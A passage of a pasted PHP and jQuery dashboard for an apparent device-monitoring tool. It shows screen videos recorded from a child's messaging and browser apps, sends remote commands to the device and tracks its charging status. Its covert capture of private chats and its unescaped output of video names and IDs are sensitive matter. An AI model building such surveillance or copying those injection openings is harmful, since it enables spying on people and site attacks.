                    <i class="fas fa-film fa-2x mb-2"></i>
750
                    <p class="mb-0 small">No videos recorded yet.</p>
751
                </div>
752
            <?php else: ?>
753
                <?php foreach ($videos as $video): ?>
754
                <div class="gallery-item" data-app="<?php echo $video['app']; ?>" data-video-url="serve_video.php?user_id=<?php echo $childId; ?>&file=<?php echo urlencode($video['name']); ?>" data-video-name="<?php echo htmlspecialchars($video['name']); ?>">
755
                    <div class="thumbnail" onclick="openVideoModal(this.parentElement.getAttribute('data-video-url'))">
756
                        <?php
757
                        // Get the appropriate icon and color for the app
758
                        $thumbIcon = 'fa-video';
759
                        $thumbColor = '#94a3b8';
760
                        if ($video['app'] == 'whatsapp') {
761
                            $thumbIcon = 'fab fa-whatsapp';
762
                            $thumbColor = '#25d366';
763
                        } elseif ($video['app'] == 'telegram') {
764
                            $thumbIcon = 'fab fa-telegram';
765
                            $thumbColor = '#229ed9';
766
                        } elseif ($video['app'] == 'messenger') {
767
                            $thumbIcon = 'fab fa-facebook-messenger';
768
                            $thumbColor = '#0084ff';
769
                        } elseif ($video['app'] == 'viber') {
770
                            $thumbIcon = 'fab fa-viber';
771
                            $thumbColor = '#7360f2';
772
                        } elseif ($video['app'] == 'instagram') {
773
                            $thumbIcon = 'fab fa-instagram';
774
                            $thumbColor = '#e1306c';
775
                        } elseif ($video['app'] == 'facebook') {
776
                            $thumbIcon = 'fab fa-facebook';
777
                            $thumbColor = '#1877f2';
778
                        } elseif ($video['app'] == 'wechat') {
779
                            $thumbIcon = 'fab fa-weixin';
780
                            $thumbColor = '#2b9c2b';
781
                        } elseif ($video['app'] == 'kakaotalk') {
782
                            $thumbIcon = 'fas fa-comment';
783
                            $thumbColor = '#F9E000';
784
                        } elseif ($video['app'] == 'discord') {
785
                            $thumbIcon = 'fab fa-discord';
786
                            $thumbColor = '#5865F2';
787
                        } elseif ($video['app'] == 'signal') {
788
                            $thumbIcon = 'fas fa-lock';
789
                            $thumbColor = '#3A76F0';
790
                        } elseif ($video['app'] == 'gmail') {
791
                            $thumbIcon = 'fas fa-envelope';
792
                            $thumbColor = '#EA4335';
793
                        } elseif ($video['app'] == 'chrome') {
794
                            $thumbIcon = 'fab fa-chrome';
795
                            $thumbColor = '#db4437';
796
                        } elseif ($video['app'] == 'youtube') {
797
                            $thumbIcon = 'fab fa-youtube';
798
                            $thumbColor = '#ff0000';
799
                        } elseif ($video['app'] == 'firefox') {
800
                            $thumbIcon = 'fab fa-firefox-browser';
801
                            $thumbColor = '#ff9400';
802
                        } else {
803
                            $thumbIcon = 'fas fa-video';
804
                            $thumbColor = '#94a3b8';
805
                        }
806
                        ?>
807
                        <i class="<?php echo $thumbIcon; ?>" style="font-size: 3rem; color: <?php echo $thumbColor; ?>; text-shadow: 0 2px 4px rgba(0,0,0,0.3);"></i>
808
                        <i class="fas fa-play-circle play-icon"></i>
809
                    </div>
810
                    <div class="gallery-item-info">
811
                        <div class="gallery-app-icon">
812
                            <?php
813
                            $icon = 'fa-mobile-alt';
814
                            if ($video['app'] == 'whatsapp') $icon = 'fab fa-whatsapp social-wa';
815
                            elseif ($video['app'] == 'telegram') $icon = 'fab fa-telegram social-tg';
816
                            elseif ($video['app'] == 'messenger') $icon = 'fab fa-facebook-messenger social-msg';
817
                            elseif ($video['app'] == 'viber') $icon = 'fab fa-viber social-viber';
818
                            elseif ($video['app'] == 'instagram') $icon = 'fab fa-instagram social-insta';
819
                            elseif ($video['app'] == 'facebook') $icon = 'fab fa-facebook social-fb';
820
                            elseif ($video['app'] == 'wechat') $icon = 'fab fa-weixin social-wechat';
821
                            elseif ($video['app'] == 'kakaotalk') $icon = 'fas fa-comment social-kakao';
822
                            elseif ($video['app'] == 'discord') $icon = 'fab fa-discord social-discord';
823
                            elseif ($video['app'] == 'signal') $icon = 'fas fa-lock social-signal';
824
                            elseif ($video['app'] == 'gmail') $icon = 'fas fa-envelope social-gmail';
825
                            elseif ($video['app'] == 'chrome') $icon = 'fab fa-chrome social-chrome';
826
                            elseif ($video['app'] == 'youtube') $icon = 'fab fa-youtube social-youtube';
827
                            elseif ($video['app'] == 'firefox') $icon = 'fab fa-firefox-browser social-firefox';
828
                            ?>
829
                            <i class="<?php echo $icon; ?>"></i>
830
                        </div>
831
                        <div class="gallery-size"><?php echo $video['size']; ?></div>
832
                        <div class="gallery-time"><?php echo date("d/m H:i", $video['time']); ?></div>
833
                        <div class="gallery-actions">
834
                            <form method="POST" style="display:inline;" onsubmit="return confirm('Delete this video?');">
835
                                <input type="hidden" name="delete_video" value="<?php echo htmlspecialchars($video['name']); ?>">
836
                                <button type="submit" class="btn-delete"><i class="fas fa-trash-alt"></i> Delete</button>
837
                            </form>
838
                            <a href="<?php echo $video['url']; ?>" download="<?php echo htmlspecialchars($video['name']); ?>"><i class="fas fa-download"></i> Download</a>
839
                        </div>
840
                    </div>
841
                </div>
842
                <?php endforeach; ?>
843
            <?php endif; ?>
844
        </div>
845
        <div id="noVideosMsg" class="text-center p-4 bg-dark text-muted rounded-3 d-none">
846
            <i class="fas fa-folder-open fa-2x mb-2"></i>
847
            <p class="mb-0 small">No videos found for this filter</p>
848
        </div>
849
    </div>
850
</div>
851
 
852
<!-- Modal for video playback -->
853
<div id="videoModal" class="video-modal">
854
    <div class="video-modal-content">
855
        <span class="close-modal">&times;</span>
856
        <video id="modalVideo" controls autoplay>
857
            <source id="modalVideoSource" src="" type="video/mp4">
858
            Your browser does not support the video tag.
859
        </video>
860
    </div>
861
</div>
862
 
863
<div id="toastMsg" class="toast-msg"><i class="fas fa-check-circle"></i><span id="toastText">Settings saved</span></div>
864
 
865
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
866
<script>
867
var childId = <?php echo $childId; ?>;
868
 
869
function showToast(message, isError) {
870
    var $toast = $('#toastMsg');
871
    $('#toastText').text(message);
872
    if (isError) $toast.addClass('error');
873
    else $toast.removeClass('error');
874
    $toast.css('display', 'flex');
875
    setTimeout(function() { $toast.fadeOut(300, function() { $(this).css('display', 'none'); }); }, 3000);
876
}
877
 
878
function updateChargingDisplay(isCharging, lastSeen) {
879
    var $display = $('#chargingStatusDisplay');
880
    var $badge = $('.charging-indicator-badge');
881
    var $icon = $badge.find('i');
882
 
883
    if (isCharging) {
884
        $display.text('CHARGING').css('color', '#22c55e');
885
        $badge.removeClass('not-charging').addClass('charging');
886
        $icon.removeClass('fa-battery-quarter').addClass('fa-battery-full').css('color', '#22c55e');
887
    } else {
888
        $display.text('NOT CHARGING').css('color', '#ef4444');
889
        $badge.removeClass('charging').addClass('not-charging');
890
        $icon.removeClass('fa-battery-full').addClass('fa-battery-quarter').css('color', '#ef4444');
891
    }
892
 
893
    if (lastSeen) {
894
        $badge.find('small').text('(last: ' + lastSeen + ')');
895
    }
896
}
897
 
898
function fetchChargingStatus() {
899
    $.get('get_charging_status.php?user_id=' + childId + '&t=' + new Date().getTime(), function(data) {
900
        var isCharging = data.trim() === "1";
901
        var now = new Date();
902
        var timeStr = now.getHours().toString().padStart(2,'0') + ':' +
903
                      now.getMinutes().toString().padStart(2,'0') + ':' +
904
                      now.getSeconds().toString().padStart(2,'0');
905
        updateChargingDisplay(isCharging, timeStr);
906
    });
907
}
908
 
909
function saveSettings() {
910
    var selectedApps = [];
911
    var uploadCondition = $('input[name="upload_condition"]:checked').val();
912
 
913
    $('.app-toggle').each(function() {
914
        if ($(this).is(':checked')) selectedApps.push($(this).val());
915
    });
916
 
917
    $.ajax({
918
        url: window.location.href,
919
        method: 'POST',
920
        data: {
921
            ajax_save: 1,
922
            apps: selectedApps.join(','),
923
            upload_condition: uploadCondition
924
        },
925
        dataType: 'json',
926
        success: function(response) {
927
            if (response.success) {
928
                showToast('✓ Settings saved', false);
929
                // Reload to update pending indicator
930
                setTimeout(function() { location.reload(); }, 500);
931
            } else {
932
                showToast('✗ Error: ' + (response.error || 'Unknown error'), true);
933
            }
934
        },
935
        error: function() { showToast('✗ Error saving settings', true); }
936
    });
937
}
938
 
939
// ========== NEW: Force check charging status ==========
940
function forceCheckCharging() {
941
    var $btn = $('#forceCheckChargingBtn');
942
    var originalHtml = $btn.html();
943
    $btn.prop('disabled', true).html('<i class="fas fa-spinner fa-spin"></i> CHECKING...');
944
 
945
    $.post('send_command.php', {
946
        user_id: childId,
947
        command: 'get_status_now'
948
    }, function() {
949
        showToast('✓ Charging status refreshed!', false);
950
 
951
        // Wait a moment for the device to update the database
952
        setTimeout(function() {
953
            fetchChargingStatus();
954
            $btn.prop('disabled', false).html(originalHtml);
955
            showToast('✓ Status updated to server', false);
956
        }, 2000);
957
    }).fail(function() {
958
        showToast('✗ Failed to refresh charging status', true);
959
        $btn.prop('disabled', false).html(originalHtml);
960
    });
961
}
962
// ========== END NEW ==========
963
 
964
$('.app-toggle').on('change', function() { saveSettings(); });
965
$('input[name="upload_condition"]').on('change', function() { saveSettings(); });
966
$('#forceCheckChargingBtn').on('click', function() { forceCheckCharging(); });
967
 
968
function toggleAccordion() {
969
    var content = document.getElementById('accordionContent');
970
    var icon = document.getElementById('accordionIcon');
971
    content.classList.toggle('open');
972
    if (content.classList.contains('open')) {
973
        icon.classList.remove('fa-chevron-down');
974
        icon.classList.add('fa-chevron-up');
975
    } else {
976
        icon.classList.remove('fa-chevron-up');
977
        icon.classList.add('fa-chevron-down');
978
    }
979
}
980
 
981
function toggleUploadAccordion() {
982
    var content = document.getElementById('uploadAccordionContent');
983
    var icon = document.getElementById('uploadAccordionIcon');
984
    content.classList.toggle('open');
985
    if (content.classList.contains('open')) {
986
        icon.classList.remove('fa-chevron-down');
987
        icon.classList.add('fa-chevron-up');
988
    } else {
989
        icon.classList.remove('fa-chevron-up');
990
        icon.classList.add('fa-chevron-down');
991
    }
992
}
993
 
994
// Modal functionality
995
var modal = document.getElementById('videoModal');
996
var modalVideo = document.getElementById('modalVideo');
997
var modalVideoSource = document.getElementById('modalVideoSource');
998
var closeModal = document.getElementsByClassName('close-modal')[0];
999
 
1000
function openVideoModal(videoUrl) {
1001
    modalVideoSource.src = videoUrl;
1002
    modalVideo.load();
1003
    modal.style.display = 'flex';
1004
}
1005
 
1006
closeModal.onclick = function() {
1007
    modal.style.display = 'none';
1008
    modalVideo.pause();
1009
    modalVideoSource.src = '';
1010
}
1011
 
1012
window.onclick = function(event) {
1013
    if (event.target == modal) {
1014
        modal.style.display = 'none';
1015
        modalVideo.pause();
1016
        modalVideoSource.src = '';
1017
    }
1018
}
1019
 
1020
// Gallery filter
1021
$('.filter-btn').on('click', function() {
1022
    $('.filter-btn').removeClass('active');
1023
    $(this).addClass('active');
1024
    var filter = $(this).data('filter');
1025
 
1026
    var visibleCount = 0;
1027
    $('.gallery-item').each(function() {
1028
        if (filter === 'all' || $(this).data('app') === filter) {
1029
            $(this).show();
1030
            visibleCount++;
1031
        } else {
1032
            $(this).hide();
1033
        }
1034
    });
1035
 
1036
    if (visibleCount === 0) {
1037
        $('#noVideosMsg').removeClass('d-none');
1038
        $('#videosContainer').addClass('d-none');
1039
    } else {
1040
        $('#noVideosMsg').addClass('d-none');
1041
        $('#videosContainer').removeClass('d-none');
1042
    }
1043
});
1044
 
1045
function refreshVideos(silent = false) {
1046
    $.ajax({
1047
        url: window.location.href + '?t=' + new Date().getTime(),
1048
        type: 'GET',
1049
        cache: false,
1050
        success: function(data) {
1051
            var newVideos = $(data).find('#videosContainer').html();
1052
            var newCount = $(data).find('#videoCount').html();
1053
            $('#videosContainer').html(newVideos);
1054
            $('#videoCount').text(newCount);
1055
 
1056
            var activeFilter = $('.filter-btn.active').data('filter');
1057
            if (activeFilter && activeFilter !== 'all') {
1058
                $('.gallery-item').each(function() {
1059
                    if ($(this).data('app') === activeFilter) {
1060
                        $(this).show();
1061
                    } else {
1062
                        $(this).hide();
1063
                    }
1064
                });
1065
            }
1066
 
1067
            if ($('.gallery-item').length === 0) {
1068
                if ($('#emptyVideosMsg').length === 0) {
1069
                    $('#videosContainer').html('<div class="text-center p-4 bg-dark text-muted rounded-3" id="emptyVideosMsg" style="grid-column: 1/-1;"><i class="fas fa-film fa-2x mb-2"></i><p class="mb-0 small">No videos recorded yet.</p></div>');
1070
                }
1071
            } else {
1072
                $('#emptyVideosMsg').remove();
1073
            }
1074
 
1075
            if (!silent) {
1076
                showToast('✓ Videos refreshed', false);
1077
            }
1078
        }
1079
    });
1080
}
1081
 
1082
$('#refreshBtn').on('click', function() {
1083
    refreshVideos(false);
1084
});
1085
 
1086
// Auto-refresh every 10 seconds (silent - no toast)
1087
setInterval(function() {
1088
    refreshVideos(true);
1089
    fetchChargingStatus();
1090
}, 10000);
1091
 
1092
// Initial fetch of charging status
1093
fetchChargingStatus();
1094
</script>
1095
</body>
1096
</html>
\n\n\n"; const PASTE_SHORT_ID = 'WBThGY'; const PASTE_TITLE = "Untitled Paste";